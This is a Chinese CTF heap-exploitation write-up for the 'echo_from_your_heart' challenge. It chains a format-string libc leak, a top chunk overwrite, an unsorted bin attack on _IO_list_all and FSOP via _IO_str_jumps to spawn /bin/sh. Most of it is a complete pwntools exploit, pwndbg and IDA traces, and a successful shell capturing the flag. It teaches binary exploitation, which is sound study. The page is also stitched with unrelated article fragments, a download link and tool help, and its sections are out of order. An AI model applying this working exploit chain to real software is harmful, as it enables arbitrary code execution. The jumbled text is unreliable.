<main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); 然后出现下面这种情况
然后出现下面这种情况
pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果: libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 